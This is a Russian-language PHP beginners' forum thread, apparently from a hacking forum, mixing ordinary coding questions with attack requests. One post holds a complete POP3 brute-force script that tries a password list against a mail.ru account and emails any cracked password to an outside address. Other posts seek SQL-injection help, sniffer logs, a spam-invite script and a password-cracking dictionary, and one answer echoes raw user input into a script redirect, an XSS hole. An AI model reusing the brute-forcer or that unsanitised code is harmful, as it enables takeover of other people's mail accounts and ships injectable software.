[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    Всем доброго времени суток!
    Вопрос: какой функцией можно преобразовать строку, в вид %D0%BB%D0%BE%D0%BB ?
    Например, после ввода запроса в яндексе, в адресной строке наш запрос выглядит таким образом: text=%D0%BB%D0%BE%D0%BB
    Пробовал использовать функцию urlencode() и rawurlencode(). Но результат другой(
     
  2. zifanchuck

    zifanchuck Elder - Старейшина

    Joined:
    27 Oct 2008
    Messages:
    396
    Likes Received:
    154
    Reputations:
    3
    Player#1 я себе тоже захотел на локалхосте зделать)
    зделал так
    хтмл форма
    PHP:
    <form method="GET" action "yandex.php" target="_blank">
    Поиск по Яндексу: <input type="text" name="name">
    <
    input type="submit" name="okbutton" value="Искать"> </form>
    и сам обработчик yandex.php
    PHP:
    <?php
        $zap 
    $_GET['name'];
        
    $http "http://yandex.ru/yandsearch?rpt=rad&text=";
        echo 
    '<script> window.location=("'$http$zap,'"); </script>"';
    ?>
    Писал на втором дне изучения пхп так что непинайте))) главное что пашет)
     
  3. Player#1

    Player#1 Member

    Joined:
    11 Nov 2008
    Messages:
    95
    Likes Received:
    35
    Reputations:
    10
    Мне не нужен поиск по яндексу... Мне нужна функция преобразования строки, похожая на urlencode(). Каким образом яндекс делает из строки "лол" - "%D0%BB%D0%BE%D0%BB" ???


    PS Ответ найден! Необходимо было сменить кодировку в UTF-8.
     
    #8983 Player#1, 13 Mar 2009
    Last edited: 13 Mar 2009
  4. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    $str="лол"
    echo urlencode(iconv(mb_detect_encoding($str), "UTF-8",$str));
     
    #8984 PaCo, 13 Mar 2009
    Last edited: 13 Mar 2009
  5. Dima851992

    Dima851992 Banned

    Joined:
    21 Sep 2008
    Messages:
    0
    Likes Received:
    9
    Reputations:
    0
    привет может у кавота есть скрипт который приглашает друзя в групу на mail.ru
     
  6. coolZIRO

    coolZIRO New Member

    Joined:
    18 Nov 2008
    Messages:
    6
    Likes Received:
    2
    Reputations:
    0
    Здравствуйте, помогите настроить брутфорс. Необходимо что-бы он работал в автономном режиме на сервере и результаты отправлял на e-mail
    Или может у кого есть? Поделитесь кому не жалко.

    Что тут не так:

    <?php


    $port=110;
    $host='pop3.mail.ru';
    $login='coolziro';
    $passwords="123.txt";

    set_time_limit(0);

    $FID=fopen($passwords,"r");

    while(!feof($FID))
    {
    $pass=str_replace("\r","",fgets($FID));
    $pass=str_replace("\n","",$pass);

    echo "$pass<br>\r\n";
    flush();

    $s=fsockopen($host, $port);

    if(!$s)
    die("Не могу соединиться <b>[$host:$port]</b>!");

    $line=fread($s, 256);

    if(!ereg("\+OK(.*)",$line))
    die("Хрень какая-то. Ты точно на pop сервер коннектишься?");

    fputs($s,"USER $login\r\n");

    $line=fread($s, 256);

    if(ereg("-ERR(.*)",$line))
    die("Неверный логин <b>$login</b>!");

    fputs($s,"PASS $pass\r\n");

    $line=fread($s, 256);

    if(!ereg("-ERR(.*)",$line))
    die;
    $from = "[email protected]";
    $to = "[email protected]";

    $subj = " Пароль от ящика: $Login @ mail.ru,";
    $body = " Логин: $login \n Пароль: $Pass";



    $from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";
    $from=convert_cyr_string($from,"w","k");
    $to=convert_cyr_string($to,"w","k");
    $subj=convert_cyr_string($subj,"w","k");
    $body=convert_cyr_string($body,"w","k");
    mail($to,$subj,$body,$from);


    fclose($s);
    }

    echo "Работа завершина. Пароль не найден =((";

    ?>
     
  7. D Mak

    D Mak Elder - Старейшина

    Joined:
    23 Jun 2007
    Messages:
    136
    Likes Received:
    27
    Reputations:
    0
    coolZIRO поп3 блочится при массовых запросах
     
  8. NModern

    NModern New Member

    Joined:
    9 Dec 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    SMTP

    Yest qotoviy skript s smtp autenticationom. mojet eqo ispolzuyesh??

    [email protected] kin pismo otpravlyu. No tam mnoqo ceqo yest vsyo v odin skript ne zasunesh.

    mne nujna pomosh s sql injection k mojet pomoch ochen proshu.
     
  9. NModern

    NModern New Member

    Joined:
    9 Dec 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    zdes kajetsa i pop3 yest
     
  10. Dima851992

    Dima851992 Banned

    Joined:
    21 Sep 2008
    Messages:
    0
    Likes Received:
    9
    Reputations:
    0
    NModern напиши мне здесь скрипт
     
  11. venia

    venia New Member

    Joined:
    27 Feb 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    помоги плиз люди.=) где тут лог снифера находится? уже весь сайт перерыл.

    заранее спасибо :confused:
     
  12. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    Есть файл вида:
    Code:
    Titlexx
    Datexx
    Commentsxx
    Userxx
    Titleyyy
    Dateyyy
    Commentsyyy
    Useryyy
    Titlezxc
    Datezxc
    Cmmentszxc
    Userzxc
    
    И так далее...

    Тоесть нужно разбить строки по 4 строки и занести в массив.

    Помогите пожалйуста :)
     
  13. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Т.е. должно быть 4 массива? Или что в массив занести? Говори конкретнее!
     
  14. .:EnoT:.

    .:EnoT:. Сексуальное чудовище

    Joined:
    29 May 2007
    Messages:
    803
    Likes Received:
    559
    Reputations:
    50


    Ну думается что так:

    PHP:
    <?php

    $str 
    'Titlexx
    Datexx
    Commentsxx
    Userxx
    Titleyyy
    Dateyyy
    Commentsyyy
    Useryyy
    Titlezxc
    Datezxc
    Cmmentszxc
    Userzxc'
    ;

    preg_match_all('#((.+)[\r\n]?){4}#'$str$out);
    print_r($out);

    ?>

    Результ:

    Code:
    Array
    (
        [0] => Array
            (
                [0] => Titlexx
                       Datexx
                       Commentsxx
                       Userxx
    
                [1] => Titleyyy
                       Dateyyy
                       Commentsyyy
                       Useryyy
    
                [2] => Titlezxc
                       Datezxc
                       Cmmentszxc
                       Userzxc
            )
    
    Массив $out[0] будет сдержать массивы по 4 слова.

    Соответственно, если данные в файле, то $str = file_get_contents('file.txt');
     
    1 person likes this.
  15. [R]eD

    [R]eD Elder - Старейшина

    Joined:
    1 Aug 2006
    Messages:
    72
    Likes Received:
    1
    Reputations:
    0
    Да, спасибо, вродебы все правльно.
     
  16. BiG_][aKeR

    BiG_][aKeR New Member

    Joined:
    30 Nov 2008
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    Кто знает,как можно получать письма через pop3?
    Плиз,ненадо тут сейчас отписывать ссылки на классы для етого,в них ничего не понять,лучше подскажите может есть у кого то пример,или какой то понятный простым смертным класс для етого...
     
  17. НTL

    НTL Elder - Старейшина

    Joined:
    26 Jan 2008
    Messages:
    715
    Likes Received:
    205
    Reputations:
    -26
    Нужно сделать словарь: 8символов, знаки: A-Z, a-z, 0-9, в каждом слове должно быть обезательно 1 (и больше) из букв A-Z и 1 (и больше) из букв a-z, и записать все это в txt фаил
     
  18. BiG_][aKeR

    BiG_][aKeR New Member

    Joined:
    30 Nov 2008
    Messages:
    21
    Likes Received:
    1
    Reputations:
    0
    НTL,ето тебе точно не в тему php новичкам... те в форумы - розшифровка хешей,там есть проги норм для создания словарей=)
     
  19. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    BiG_][aKeR, разными генераторами такое не сделаешь, а в пхп или жабаскрипт - можно!
     
  20. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Вот, на жабаскрипт написал. Вместо 1000000 подставь кол-во пассов. Он выведет их на экран. И запишешь себе в файл ручками (жабаскрипты не могут писать чтото в файл). Или тебе суто на пхп надо?

    Тупой форум, пробелы ставит. bestquest.info/script.txt - вот залил сюда.
     
    #9000 mailbrush, 14 Mar 2009
    Last edited: 14 Mar 2009
Thread Status:
Not open for further replies.